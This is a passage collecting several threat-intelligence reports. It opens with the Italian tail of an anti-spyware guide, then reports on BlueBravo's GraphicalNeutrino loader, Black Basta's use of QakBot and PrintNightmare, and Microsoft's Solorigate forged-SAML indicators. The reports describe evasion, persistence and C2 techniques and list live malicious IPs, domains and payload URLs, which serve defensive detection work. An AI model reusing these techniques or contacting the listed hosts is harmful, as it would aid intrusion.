aggiunte che Apple abbia fatto al suo ecosistema. Fortunatamente, Apple ha migliorato notevolmente la sandbox di sicurezza che protegge iMessage con BlastDoor in iOS 14. Tuttavia, l’exploit FORCEDENTRY utilizzato da NSO per distribuire Pegasus ha aggirato BlastDoor e, naturalmente, nessuna funzione di sicurezza è mai a prova di hacker al 100%. Alcune persone, me compreso, hanno più telefoni: uno con iMessage disattivato e un iPhone “honeypot” con iMessage attivato. Entrambi sono ovviamente associati allo stesso ID Apple e allo stesso numero di telefono. Se qualcuno decide di prendermi di mira in questo modo, è probabile che finisca nel telefono honeypot. ## Non tacete se siete osservati… Naturalmente, è possibile seguire alla lettera queste raccomandazioni ed essere comunque infettati. Purtroppo, questa è la realtà in cui viviamo oggi. Quando qualcuno ci dice di essere stato preso di mira da uno spyware mobile, gli diciamo di riflettere su queste domande: - Chi vi ha preso di mira e perché? - Cercate di capire cosa vi ha portato all’attenzione dei grandi. - Potete evitarlo in futuro comportandovi in modo più discreto? - Può parlarne? Questo ha finito per far crollare molte società di sorveglianza, grazie alla cattiva pubblicità che tali casi hanno creato per loro, come quando molti reporter e giornalisti riportano gli abusi e smascherano le bugie e i misfatti generati da un operatore del settore. ## Cambiare il dispositivo Se si utilizzava iOS, provare a passare ad Android per un po’. Se eravate su Android, passate a iOS. Questo può confondere gli aggressori per un po’; ad esempio, è noto che alcuni attori delle minacce acquistano sistemi operativi che funzionano solo su una determinata marca di telefono e di sistema operativo. Acquistare un dispositivo secondario, preferibilmente con GrapheneOS, per comunicazioni sicure. Utilizzatelo con una carta prepagata o collegatevi solo tramite Wifi e TOR in modalità aereo. Evitate i messaggi in cui dovete fornire il vostro numero di telefono ai vostri contatti. Una volta che un aggressore è in possesso del vostro numero di telefono, può facilmente prendervi di mira attraverso molti messenger diversi. Cercate di entrare in contatto con un ricercatore di sicurezza della vostra zona e discutete costantemente delle migliori pratiche. Condividete con loro dati, messaggi sospetti o accessi non appena ritenete che ci sia qualcosa di strano. La sicurezza non è mai un’unica soluzione istantanea che offra una garanzia al 100%; consideratela come un fiume, dove dovete adattare la vostra navigazione alla velocità, alle correnti e agli ostacoli. Alla fine di tutto questo, vorrei lasciarvi con un pensiero. Se siete presi di mira da attori al servizio di Stati nazionali, significa che siete importanti. Ricordate: è bello essere importanti, ma è più importante essere gentili. Da soli siamo deboli, insieme siamo forti. Il mondo può essere distrutto, ma credo che stiamo vivendo un momento in cui possiamo ancora fare la differenza. Secondo un rapporto del Committee to Protect Journalists (CPJ), nel 2021 sono stati imprigionati 293 giornalisti, il numero più alto mai registrato dal CPJ da quando ha iniziato a registrarlo nel 1992. Sta a noi dare forma a quello che sarà il mondo per noi tra 10 anni, per i nostri figli e per i figli dei nostri figli.
# BlueBravo Uses Ambassador Lure to Deploy GraphicalNeutrino Malware ## Executive Summary BlueBravo is a threat group tracked by Recorded Future’s Insikt Group that overlaps with the Russian advanced persistent threat (APT) activity tracked as APT29 and NOBELIUM. APT29 and NOBELIUM operations have been previously attributed to Russia’s Foreign Intelligence Service (SVR), an organization responsible for foreign espionage, active measures, and electronic surveillance. In October 2022, we identified BlueBravo staging GraphicalNeutrino malware within a malicious ZIP file. The staging and deployment of this ZIP file overlaps with the previously employed dropper EnvyScout, the use of which is linked to APT29 and NOBELIUM. BlueBravo used a compromised website containing the text "Ambassador's schedule November 2022" as part of a lure operation. Based on the theme of this lure, we suspect that the targets of this campaign are related to embassy staff or an ambassador. This targeting profile aligns with previous reporting from InQuest in early 2022 that describes the group, reported as NOBELIUM, employing a lure document titled “Ambassador_Absense.docx” that displayed content relating to the Embassy of Israel. Following deployment and execution, InQuest reported that the malware, BEATDROP, employed trello.com for command-and-control (C2) in an attempt to evade detection and create challenges in attributing the activity. Similar to the use of Trello for data exchange by BEATDROP, we have found that GraphicalNeutrino uses the United States (US)-based business automation service Notion for its C2. The use of the Notion service by BlueBravo is a continuation of their previous tactics, techniques, and procedures (TTPs), as they have employed multiple online services such as Trello, Firebase, and Dropbox in an attempt to evade detection. The abuse of legitimate services, such as those employed by BlueBravo, presents a complex issue for network defenders due to the difficulty of defending against malicious access to legitimate services. The use of this technique is becoming more common and will continue to pose a problem for network defenders. GraphicalNeutrino acts as a loader with basic C2 functionality and implements numerous anti-analysis techniques including API unhooking, dynamically resolving APIs, string encryption, and sandbox evasion. It leverages Notion’s API for C2 communications and uses Notion’s database feature to store victim information and stage payloads for download. While we are unable to assess the intended targets of this operation based on the data available, it is likely that ambassadorial or embassy-themed lures are particularly effective during periods of heightened geopolitical tensions, such as is the case with the ongoing war in Ukraine. During such periods, Russian APT groups are highly likely to make extensive use of diplomatically themed lures, as the information potentially gathered from the compromise of entities or individuals receiving such communications is likely to have a direct impact on Russia’s foreign policy and broader Russian strategic decision-making processes. Based on historical APT29 and SVR cyber operations and active measures, we assess it is likely that additional countries at the nexus of the conflict are at risk of targeting. This targeting almost certainly represents an ongoing interest from threat actors affiliated with the SVR and aligns with their continued intent to gain access to strategic information from entities and organizations engaged in foreign policy. Any country with a nexus to the Ukraine crisis, particularly those with key geopolitical, economic, or military relationships with Russia or Ukraine, are at increased risk of targeting. ## Key Judgments - We have identified new malware used by BlueBravo, which overlaps with Russian APT activity tracked as APT29 and NOBELIUM, which Western governments and researchers have linked to the Russian Foreign Intelligence Service (SVR). - Identified staging infrastructure continues the trend of using compromised websites to deliver BlueBravo malware within archive files. The delivery of these files uses the same HTML smuggling technique as EnvyScout. - The malware also takes advantage of DLL search order hijacking for execution, helping to evade detection on the host. - A change to Notion as the initial C2 from Trello, Firebase, and Dropbox demonstrates BlueBravo’s broadening but continued use of legitimate Western services to blend their malware traffic to evade detection. - Though no second-stage malware, follow-on C2 server, or victims were identified, the initial lure page suggests BlueBravo’s targeting was related to unknown embassy staff or an ambassador. - Embassy-related information is likely considered high-value intelligence, especially in the midst of the Russian war in Ukraine. ## Background BlueBravo’s targeting, its tactics, techniques, and procedures (TTPs), and its targeting interests and operations overlap with Russian advanced persistent threat activity publicly reported as APT29 and NOBELIUM, which has been previously attributed to Russia’s Foreign Intelligence Service (SVR). The SVR is responsible for foreign espionage, active measures, and electronic surveillance. APT29 has been active since at least 2008 according to third-party reporting, engaging in espionage operations against entities associated with security and defense, politics, and research. APT29 was initially observed surveilling Chechen and dissident organizations but expanded to target entities in the West such as the Pentagon in 2015, the Democratic National Committee (DNC) and US think tanks in 2016, and the Norwegian government and several Dutch ministries in 2017. In 2021, public reporting detailed BlueBravo’s use of various iterations of a phishing campaign emulating government entities. The various campaigns delivered ISO files via methods such as using URLs to download the ISO file and execute an LNK file, and using an HTML attachment in the email to initiate the download of an ISO file. This activity was used to deploy NativeZone, an umbrella term for their custom Cobalt Strike loaders. NativeZone typically uses rundll32.exe to load and execute follow-on payload(s). BlueBravo employs a wide range of custom malware and open-source tooling. A notable facet is their evolving malware families and development practices, with implants developed in various languages including Python, Go, PowerShell, and Assembly. ## Technical Analysis ### Infrastructure On October 25, 2022, we identified the domain totalmassasje.no delivering the malicious ZIP file “schedule.zip” via the webpage “schedule.php”. This webpage contains lure text masquerading as an “Ambassador's schedule” for the month of November. Contained within the HTML of the webpage is an obfuscated ZIP file that is deployed via HTML smuggling. The ZIP file is set to auto-download when the website is visited. Analysis of the webpage’s HTML and JavaScript identified close overlap with EnvyScout, a dropper first noted by Microsoft. Additionally, lines 14-35 are structurally identical to Unit42’s reporting on the same technique, with only lines 15 and 21 changing using a different deprecated integer and filename. Lines 13-16 show a for-loop routine used to subtract the integer 6 from each decimal value within the variable “d” which deobfuscates the malicious ZIP payload “schedule.zip”. We believe that the domain totalmassasje.no is not actor-owned but has been compromised, which aligns with related reporting of similar activity. ### Malware The malicious ZIP file “schedule.zip” (SHA256: cf160175c661efd4b1e1eecadf5f00f7203ef4c7445e36e3373d50b26086c552) was auto-downloaded from totalmassasje.no and contains three files: | Filename | File Type | SHA256 | |------------------------------|-----------|--------------------------------------------------| | november_schedulexe.pdf | EXE | 844e902977b478eace8568f49dd9e5c91db8e534f3c5410ee663d0be02bdf7e3 | | vcruntime140.dll | DLL | a0c3e6cd167b93f4646a7a3f2d46ed8bd4888d861b533662a66ca9711d49db1f | | 7za.dll | DLL | 381a3c6c7e119f58dfde6f03a9890353a20badfa1bfa7c38ede62c6b0692103c | Files 7za.dll and vcruntime140.dll are hidden and won't be shown to the user by default. #### november_schedulexe.pdf The masquerading executable file november_schedulexe.pdf is a renamed copy of 7-Zip version 18.06. Its purpose is to enable the loading and execution of the DLL files contained within the ZIP, via DLL search order hijacking. The filename november_schedulexe.pdf tries to trick the user into thinking it ends with “.pdf” (the PDF file extension), when in fact the filename ends with “.exe”. It does this by implementing the right-to-left override (RTLO) technique, which supports languages written right to left. #### vcruntime140.dll The file vcruntime140.dll, known as the Microsoft C Runtime Library, is used to provide functionality to programs developed in Microsoft Visual Studio. The vcruntime140.dll file included in this ZIP claims to be version 14.30.30704.0; however, a comparison with the legitimate version of the DLL reveals that the file has been modified. Notably, the modified version has also removed Microsoft’s digital signature. Further comparison of the DLL files revealed that an additional library import for 7za.dll had been added to the modified version. When the file november_schedulexe.pdf is executed, it takes advantage of DLL search order hijacking to load vcruntime140.dll as a dependency, which in turn requires vcruntime140.dll to load 7za.dll as a dependency as well. #### 7za.dll The file 7za.dll is BlueBravo's intended malicious file — “GraphicalNeutrino”. This DLL leverages Notion’s API to perform C2 communications via a Notion database and to deliver additional payloads to the victim’s machine. The DLL is written in C and contains only one export function, DeviceAll, which simply returns when called. The actual malicious code is implemented in a thread that is spawned in DLLMain during the DLL’s initialization. Multiple anti-analysis and evasion techniques are used throughout the malware including API unhooking, dynamically resolving APIs, string encryption, and sandbox evasion. When GraphicalNeutrino starts a thread, it attempts to remove any API hooks in the ntdll and wininet modules. The unhooking technique used is identical to the one described in an ired.team notes article. Next, GraphicalNeutrino checks to see if it should establish persistence. It dynamically loads the legitimate Windows modules psapi.dll and advapi.dll to resolve addresses for various registry functions. It then checks to see if its process filename matches “7za.exe”; if it does, then it copies 7za.exe, 7za.dll, and vcruntime140.dll to %APPDATA_LOCAL%\7za and creates the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\7za with a value of %APPDATA_LOCAL%\7za\7za.exe. This enables GraphicalNeutrino to be executed again when the victim machine is rebooted; however, in this particular sample, persistence is not established because the process filename is november_schedulexe.pdf instead of 7za.exe. Throughout GraphicalNeutrino’s runtime, strings are decrypted when needed using a specific decryption algorithm. After removing API hooks and setting up persistence, GraphicalNeutrino prepares to communicate with its C2 server. As part of this process, several strings are decrypted including a hardcoded user agent, a Notion API key, and a database identifier. A unique identifier is also calculated for the victim based on their username and computer name. This function identifies the victim’s username and computer name, concatenates the two values together with an underscore, and then computes a “hash” value by adding together the ordinal value of each character in the string. If the original check-in request does not return any results, GraphicalNeutrino will then attempt to create a new page for the victim in the database. GraphicalNeutrino then begins to update the victim’s row in the database with a new emoji in the “Name” column every 60 seconds via an HTTP PATCH request. This effectively changes the emoji icon every 60 seconds and acts as a heartbeat for the victim. Both the initial check-in request and the HTTP PATCH request to update the victim’s emoji receive the victim’s full-page data returned in the response. For each response, the malware parses the JSON fields to determine if the File column contains a value. If the file array is not empty then the malware will parse out the URL field and download the file. From there the file is decrypted using a custom cipher. Once the shellcode is decrypted, it is indirectly spawned in a new thread by abusing FLS callbacks to obtain execution control. This technique was possibly used to evade antivirus (AV) and sandbox detections. ### Sample 2 We identified a second sample of GraphicalNeutrino (SHA256: 1cffaf3be725d1514c87c328ca578d5df1a86ea3b488e9586f9db89d992da5c4). This sample was compiled on October 26, 2022, 2 days after the 7za.dll sample. It is nearly identical to the first sample; however, a few details were changed: - The Notion database ID was changed. - The identifier prefix for victims was changed to “IetSZ”. - The wait time between C2 communications was adjusted to 2 minutes instead of 1 minute. - A different key was used to decrypt strings. - The DLL’s export function was renamed to LoadData. For persistence, the sample expects itself to be named 140runtime.dll and also to be located in the same directory as vcruntime140.dll and photos_and_price.exe. Each of the files are copied to %APPDATA_LOCAL%\photos and the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\7za update is then created. ## Mitigations Users should conduct the following measures to detect and mitigate activity associated with BlueBravo: - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — the external domains listed in the indicators section. - Recorded Future proactively detects malicious server configurations and provides means to block them in the Command and Control Security Control Feed. The Command and Control Feed includes tools used by BlueBravo and other Russian state-sponsored threat activity groups. - Recorded Future Threat Intelligence (TI), Third-Party Intelligence, and SecOps Intelligence modules users can monitor real-time output from Network Intelligence analytics to identify suspected targeted intrusion activity involving your organization or key vendors and partners. - Use the YARA rule provided to search your network for potential GraphicalNeutrino infections. - Implement an application allow-list policy on Windows hosts, and enable AppArmor/SELinux on Linux-based hosts. ## Outlook BlueBravo continues to be a capable actor, and while still employing publicly known techniques for the delivery of their malware, they have updated their TTPs to blend into legitimate victims' network traffic. Readers should detect, block, and hunt for the indicators referenced in connection with BlueBravo reporting via the Recorded Future® Platform in network monitoring, intrusion detection systems, firewalls, and any associated perimeter security appliances. ## Indicators ### Domains - totalmassasje.no ### Files - 140runtime.dll - 7za.dll - november_schedulexe.pdf - photos_and_price.exe - schedule.zip - vcruntime140.dll ### User Agents - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.53 ### SHA256 - 1cffaf3be725d1514c87c328ca578d5df1a86ea3b488e9586f9db89d992da5c4 - 381a3c6c7e119f58dfde6f03a9890353a20badfa1bfa7c38ede62c6b0692103c - 844e902977b478eace8568f49dd9e5c91db8e534f3c5410ee663d0be02bdf7e3 - a0c3e6cd167b93f4646a7a3f2d46ed8bd4888d861b533662a66ca9711d49db1f - cf160175c661efd4b1e1eecadf5f00f7203ef4c7445e36e3373d50b26086c552 ## About Insikt Group® Recorded Future’s Insikt Group, the company’s threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Their mission is to produce intelligence that reduces risk for clients, enables tangible outcomes, and prevents business disruption. ## About Recorded Future® Recorded Future is the world’s largest intelligence company. Recorded Future’s cloud-based Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,500 businesses and government organizations across more than 60 countries.
# Black Basta Ransomware Operators Expand Their Attack Arsenal With QakBot Trojan and PrintNightmare Exploit Since it became operational in April, Black Basta has garnered notoriety for its recent attacks on 50 organizations around the world and its use of double extortion, a modern ransomware tactic in which attackers encrypt confidential data and threaten to leak it if their demands are not met. The emerging ransomware group has continued to improve its attacks: We recently caught it using the banking trojan QakBot as a means of entry and movement, and taking advantage of the PrintNightmare vulnerability (CVE-2021-34527) to perform privileged file operations. In the case of a Trend Micro customer, its system was infected with Black Basta ransomware that was deployed by QakBot. This behavior is typical of the QakBot malware family, which has served as a key enabler of ransomware families like MegaCortex, PwndLockerm, Egregor, ProLock, and REvil (aka Sodinokibi). QakBot, which was discovered in 2007, is known for its infiltration capabilities and has been used as a “malware-installation-as-a-service” for various campaigns. Over the years, this banking trojan has become increasingly sophisticated, as evidenced by its exploitation of a newly disclosed Microsoft zero-day vulnerability known as Follina (CVE-2022-30190). ## QakBot’s Infection Chain QakBot is distributed using spear-phishing emails that contain Excel files with Excel 4.0 macros. The emails entice the recipient to enable macros, which download and execute the QakBot DLL files. The downloaded QakBot DLL is dropped onto a specific file path and file name, and is executed via regsvr32.exe. The QakBot DLL performs process injection using explorer.exe, after which the injected Explorer process creates a scheduled task to maintain the malware’s initial foothold in the infected system. Once QakBot is installed in a system, it proceeds to download and drop the other components in the infection chain, beginning with the Cobeacon backdoor. We have observed the execution of Cobeacon using a fileless PowerShell script with multiple layers of obfuscation. The Base64-encoded shellcode of the installed Cobeacon establishes and names a pipe for communication that is possibly used for exfiltration purposes once information has been collected from a targeted system. The Black Basta ransomware group posts this information on its leak sites if the victim does not pay the ransom. ## PrintNightmare and Coroxy Upon further analysis of the system that was affected by Black Basta, we found evidence that points to the ransomware group’s exploitation of the PrintNightmare vulnerability. Exploiting this vulnerability, Black Basta abused the Windows Print Spooler Service or spoolsv.exe to drop its payload, spider.dll, and perform privileged file operations. It also exploited the vulnerability to execute another file in the affected system, but samples of this file were no longer available in the system. Additionally, our investigation found that the ransomware actors used the Coroxy backdoor. They used Coroxy in conjunction with the abuse of the computer networking utility tool Netcat to move laterally across the network. Once the attackers gained a wide foothold in the network, they executed the Black Basta ransomware. ## Thwarting Phishing Attempts Spear phishing is a common precursor to ransomware infection. Organizations can protect their data from threats that spread through emails by adhering to best practices such as: - Ensuring that macros are disabled in Microsoft Office applications. - Verifying an email’s sender and content before opening or downloading any attachments. - Hovering the pointer over embedded links to show the links’ full addresses. - Being wary of telltale signs of malicious intent, including unfamiliar email addresses, mismatched email and sender names, and spoofed company emails. Businesses and their employees can safeguard sensitive company data from email-borne ransomware threats like Black Basta by turning to endpoint solutions such as Trend Micro’s Smart Protection Suites and Worry-Free Business Security solutions, which are equipped with behavior-monitoring capabilities that are able to detect malicious files, scripts, and messages, and block all related malicious URLs. Trend Micro™ Deep Discovery™ also has a layer for email inspection that protects businesses by detecting any malicious attachments and URLs. Multilayered detection and response solutions like the Trend Micro Vision One™ platform provide companies with greater visibility across multiple layers — like email, endpoints, servers, cloud workloads, and networks — to look out for suspicious behavior in their systems and block malicious components early, mitigating the risk of ransomware infection. ## Indicators of Compromise ### Hashes - SHA-256: 01fafd51bb42f032b08b1c30130b963843fea0493500e871d6a6a87e555c7bac - Ransom.Win32.BLACKBASTA.YXCEP - SHA-256: 72a48f8592d89eb53a18821a54fd791298fcc0b3fc6bf9397fd71498527e7c0e - Trojan.X97M.QAKBOT.YXCFH - SHA-256: 580ce8b7f5a373d5d7fbfbfef5204d18b8f9407b0c2cbf3bcae808f4d642076a - Backdoor.Win32.COROXY.YACEKT - SHA-256: 130af6a91aa9ecbf70456a0bee87f947bf4ddc2d2775459e3feac563007e1aed - Trojan.Win64.QUAKNIGHTMARE.YACEJT - SHA-256: c7eb0facf612dbf76f5e3fe665fe0c4bfed48d94edc872952a065139720e3166 - TrojanSpy.Win32.QAKBOT.YXCEEZ - SHA-256: ffa7f0e7a2bb0edf4b7785b99aa39c96d1fe891eb6f89a65d76a57ff04ef17ab - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: 2083e4c80ade0ac39365365d55b243dbac2a1b5c3a700aad383c110db073f2d9 - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: 1e7174f3d815c12562c5c1978af6abbf2d81df16a8724d2a1cf596065f3f15a2 - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: 2d906ed670b24ebc3f6c54e7be5a32096058388886737b1541d793ff5d134ccb - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: 72fde47d3895b134784b19d664897b36ea6b9b8e19a602a0aaff5183c4ec7d24 - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: 2e890fd02c3e0d85d69c698853494c1bab381c38d5272baa2a3c2bc0387684c1 - TrojanSpy.Win32.QAKBOT.YACEJT - SHA-256: c9df12fbfcae3ac0894c1234e376945bc8268acdc20de72c8dd16bf1fab6bb70 - Ransom.Win32.BLACKBASTA.YACEJ - SHA-256: 8882186bace198be59147bcabae6643d2a7a490ad08298a4428a8e64e24907ad - Trojan.Win32.BLACKBASTA.YXCEJ - SHA-256: 0e2b951ae07183c44416ff6fa8d7b8924348701efa75dd3cb14c708537471d27 - Trojan.Win32.BLACKBASTA.YXCEJ - SHA-256: 0d3af630c03350935a902d0cce4dc64c5cfff8012b2ffc2f4ce5040fdec524ed - Trojan.Win32.BLACKBASTA.YXCEJ - SHA-256: df35b45ed34eaca32cda6089acbfe638d2d1a3593d74019b6717afed90dbd5f8 - Trojan.Win32.BLACKBASTA.YXCEJ - SHA-256: 3fe73707c2042fefe56d0f277a3c91b5c943393cf42c2a4c683867d6866116fc - Trojan.Win32.BLACKBASTA.YXCEJ - SHA-256: 433e572e880c40c7b73f9b4befbe81a5dca1185ba2b2c58b59a5a10a501d4236 - Ransom.Win32.BLACKBASTA.A.note - SHA-256: c4683097a2615252eeddab06c54872efb14c2ee2da8997b1c73844e582081a79 - PUA.Win32.Netcat.B ### URLs - 24.178.196.44:2222 - 37.186.54.185:995 - 39.44.144.182:995 - 45.63.1.88:443 - 46.176.222.241:995 - 47.23.89.126:995 - 72.12.115.15:22 - 72.76.94.52:443 - 72.252.157.37:995 - 72.252.157.212:990 - 73.67.152.122:2222 - 75.99.168.46:61201 - 103.246.242.230:443 - 113.89.5.177:995 - 148.0.57.82:443 - 167.86.165.191:443 - 173.174.216.185:443 - 180.129.20.53:995 - 190.252.242.214:443 - 217.128.122.16:2222 - elblogdeloscachanillas.com.mx/S3sY8RQ10/Ophn.png - lalualex.com/ApUUBp1ccd/Ophn.png - lizety.com/mJYvpo2xhx/Ophn.png
# Solorigate AzureAd IOCs Understanding "Solorigate"'s Identity IOCs - for Identity Vendors and their customers. Microsoft recently disclosed a set of complex techniques used by an advanced actor to execute attacks against several key customers. While we detected anomalies by analyzing requests from customer environments to the Microsoft 365 cloud, the attacks generalize to any Identity Provider or Service provider. For this reason, we want to detail what we know about these attacks from an Identity specific lens, so Identity vendors, IAAS, PAAS, and SAAS vendors (and organizations who use these products) can detect them, remediate them, and most importantly, prevent them. This document is broadly intended to support the security teams who are focused on protection, hunting, and remediation in Identity vendors in the interest of protecting our mutual customers. It generally assumes an advanced understanding of identity infrastructure and related components. As part of our ongoing security processes, we leverage threat intelligence and monitor for new indicators that could signal attacker activity. There are two anomalies pertinent to this report: 1. **Anomalies in SAML tokens being presented for access.** In some impacted tenants, we detected anomalous SAML tokens - signed with customer certificates - being presented for access to the Microsoft Cloud. The anomalies indicate that the customer SAML token signing certificates may have been compromised, and that an attacker could be forging SAML tokens to access any resources that trust those certificates. Because compromise of a SAML token signing certificate typically requires administrative access, there is a high probability the presence of forged tokens implies customer on-premises infrastructure may be compromised. Because the signing certificate is the root of trust for the federated trust relationship, it is unlikely Service Providers would detect the forgeries. 2. **Anomalies in Microsoft 365 API access patterns in a tenant.** We have detected such anomalies in some impacted tenants which originate from existing applications and service principals. This pattern indicates that an attacker with administrative credentials – possibly related to the SAML issues above - has added their own credentials to existing applications and service principals. The Microsoft 365 application program interfaces (APIs) can be used to access email, documents, chats, and configuration settings, such as email forwarding. Because highly privileged Azure AD administrative accounts are required to add credentials to service principals, these changes imply that one or more such privileged accounts have been compromised and may have made other significant changes within the impacted tenant. Built-in security and monitoring capabilities provided by the Microsoft Cloud detected these anomalies, but such anomalies could present at any Identity Provider or Resource Provider, regardless of vendor. Any resource which trusts a customer’s compromised SAML token signing certificate should be considered at risk. The SAML attack is not specific to any particular identity system or identity vendor you use. It impacts any vendor’s on-premises or cloud identity system, and any resources that depend on industry-standard SAML identity federation. Likewise, while the specific mechanism for impersonating applications may vary from vendor to vendor, the pattern is vendor independent. We are not aware of any Microsoft software or cloud service vulnerability that has led to the exposure of customer SAML token signing certificates, the change in API usage, addition of credentials to service principals, or exposure of administrative credentials on premises or in the cloud. The traffic detected did not impact our production cloud environment. Elements of the activity we have detected suggest it was orchestrated by a sophisticated attacker. We believe over time this activity may be determined to be state-sponsored, but we do not have sufficient evidence to support that conclusion at this time. It is important to emphasize – these attacks were criminal in nature, and so sophisticated that even top security companies fell victim to them. The fault lies with the criminal actor, not the victims. Further, these attacks leveraged broadly used patterns that impact many levels of the IT industry – focusing on any one technology type or vendor limits our ability to see systemic problems. By studying them and learning from these broad issues together, we can improve security throughout the industry. We are sharing this information to help vendors who provide Identity Providers and Service Provider software and services, as well as their customers, hunt for activity and better defend against similar attacks. We will update this information as our investigations evolve. ## First things first – understanding typical environments Identity experts may skip this section, but it may help level set terminology and understanding of key components of the attack. The following describes a typical environment. However, several caveats are worth mentioning: 1. Most customers run on-premises identity infrastructure. Microsoft offers popular versions of all such infrastructure, but several other vendors offer similar infrastructure. 2. Not all components of this infrastructure are present in all environments. 3. The sophisticated actor adapted their attack to specific environments. For these reasons, it is important that you consider how elements of the attack pattern can impact your organization, even if your organization varies from the typical elements described below. Components pertinent to this attack typically include: - A SAML Identity Provider (IDP), which brokers authentication requests from applications to that directory. Applications and other identity providers – called Service Providers, or SPs – refer clients to federation servers to acquire access tokens which are signed by the SAML token signing certificate. - SAML Service Providers (SP), also called Relying Parties, which are applications told to trust the tokens coming from a federation server, and which accept claims made in SAML tokens because they are signed by the trusted federation server’s SAML token signing certificate. - Cloud Identity Providers (Cloud IDPs), which would typically act as a Service Provider to the SAML Identity Provider but acts as an identity provider to applications which have been told to use it. Azure AD is an example of a Cloud IDP. - Cloud Service Providers (Cloud SPs), which rely on the tokens issued by a cloud IDP to validate requests. - Applications and Service Principals in Azure AD are two types of code that authenticate to Azure AD using certificates, keys, or passwords and to other applications or APIs using OAuth 2.0 access tokens granted Azure AD in order to talk to other applications, including Microsoft 365 Graph APIs. If this is new to you, you can think of tokens as a ticket to a show, the SP as the ticket taker, and the IDP as the box office, and the signature as the little holograph on the ticket. If someone wants to go to the show, they go to the IDP, get a token, then present it to the SP who validates the holograph then lets them into the show. In terms of a typical email interaction with Microsoft 365 with federated auth, think in terms of a user going to their on-premises federation server to get a signed token, then presenting that token to Microsoft 365 (via Azure AD as a chained IDP) to get access after the signature is validated. If an application is trying to access that data, it will be pre-configured to know the IDP location, so it will always come to Azure AD first to get the token, but otherwise the OAUTH flows are similar. For SAML federation relationships where Azure AD has been configured to trust a tenant-configured SAML token signing certificate from a customer-configured federation server, the federation server is the Identity Provider (IDP) and Azure AD is the Service Provider (SP). Applications and Service Principals in Azure AD don’t use SAML or delegate trust to on-premises federation servers; credentials must be managed directly in Azure AD. ## Attacker Patterns OK, let’s lay all of this out in terms of the typical attack patterns, and how you might go about looking for them. The actions were targeted in nature and varied from target to target. Not all indicators of compromise or methodologies are present in all cases. A rough overview of an indicative attack is as follows: - The attacker compromises network management vendor software which is typically deployed with high privileges in on-premises networks. - The attacker uses the on-premises administrative access to extract SAML Token Signing certificate. - The attacker uses the stolen SAML Token Signing certificate to forge SAML tokens representing privileged cloud users. - The attacker uses the forged token to sign in impersonating the privileged user and add credentials to an existing application or service principal. - The attacker uses the added credentials to impersonate the existing application or service principal, and call Microsoft 365 APIs to extract mail. ### Pattern 1: Forged SAML tokens using Stolen SAML Token Signing Material The first significant pattern we have seen is evidence of forged SAML tokens. It is worth noting that we don’t retain logs for very long. We do this in accordance with our data retention and privacy policies. It varies by agreement, but is generally 30 days, and we never log complete tokens, so we can’t see every aspect of a SAML token. Customers who want longer retention are encouraged to configure storage in Azure Monitor or other systems. What token anomalies we did detect were tokens which were anomalous in lifetime, usage location, or claims (particularly MFA claims). The anomalies were sufficient to convince us that the tokens were forged. We did not find this pattern in all cases. **What we found:** - Tokens with expiration instant exactly 3600 seconds or 144000 seconds (no milliseconds value) – note 144000 (40 hours) is exceptionally long. - Tokens which were received at the same time as the issuance time – no latency between creation and usage. - Tokens which were received BEFORE the issuance time – falsified issuance time after token received. - Tokens used from outside normal user locations. - Tokens which contained claims which were not previously seen from the tenant’s federation server. - Tokens indicating MFA used when token claimed auth from within corporate boundary where MFA not required. **What it implies:** - SAML token signing certificate was exfiltrated from the customer environment and used to forge tokens by the actor. - Administrative access to SAML Token Signing Certificate storage compromised, either via service administrative access or by direct device storage or memory inspection. - Deep penetration of the customer environment, with administrative access to identity infrastructure or the hardware environment on which it executes. **What to look for:** - SAML Tokens received by the SP with configurations which deviate from the IDP’s configured behavior. - SAML Tokens received by the SP without corresponding issuing logs at the IDP. - SAML Tokens received by the SP with MFA claims but without corresponding MFA activity logs at the IDP. - SAML Tokens which are received from IP addresses, agents, times, or for services which are anomalous for the requesting identity represented in the token. - Evidence of unauthorized administrative activity. **What to do:** - Determine mechanism of certificate exfiltration and remediate. - Roll all SAML token signing certificates. - Consider reducing your reliance on prem SAML trust where possible. - Consider using an HSM to manage your SAML Token Signing Certificates. ### Pattern 2: Illegitimate registrations of SAML Trust Relationships In some cases, the SAML token forgeries described above correspond to configuration changes in the Service Provider. By impersonating a user with valid administrative credentials, the actor can change the configuration of the SAML Service Provider (in our case, Azure AD). In this case, the actor tells Azure AD to trust their certificate by, in effect, saying to the SP “There’s another SAML IDP you should trust, validate it with this public key.” **What we found:** - Addition of federation trust relationships at the SP done which later resulted in SAML authentications of users with administrative privileges. The attacker took care to follow naming conventions of or impersonate existing federation server names (e.g. FED_SERVER01 exists, and they add FED_SERVERO1). The impersonated users later took actions consistent with attacker patterns described below. - Token forgeries consistent with pattern 1, above. - These calls came from different IP addresses for each call and user, but generally tracked back to anonymizing VPN servers. **What it implies:** - Administrative access to the Azure AD was gained. - Attacker may have been unable to gain a toe-hold on premises, or was experimenting with other persistence mechanisms. - Attacker may have been unable to exfiltrate tokens, possibly due to use of HSM. **What to look for:** - Anomalous administrative session associated with modification of federation trust relationships. **What to do:** - Review all federation trust relationships, ensure all are valid. - Determine mechanism of administrative account impersonation. - Roll administrative account credentials. ### Pattern 3: Adding credentials to existing applications Once the attacker was able to impersonate a privileged Azure AD admin account, they added credentials to existing applications or service principals, usually with the permissions they wanted already associated and high traffic patterns (e.g. mail archival applications). There are some cases in which we see the attacker add permissions to existing applications or service principals. We also see cases in which a new application or service principal was set up for a short while and used to add the permissions to the existing applications or service principals, possibly to add a layer of indirection (e.g. using it to add a credential to another service principal, then deleting it). **What we found:** - Addition of federation trust relationships at the SP done which later resulted in SAML authentications of users 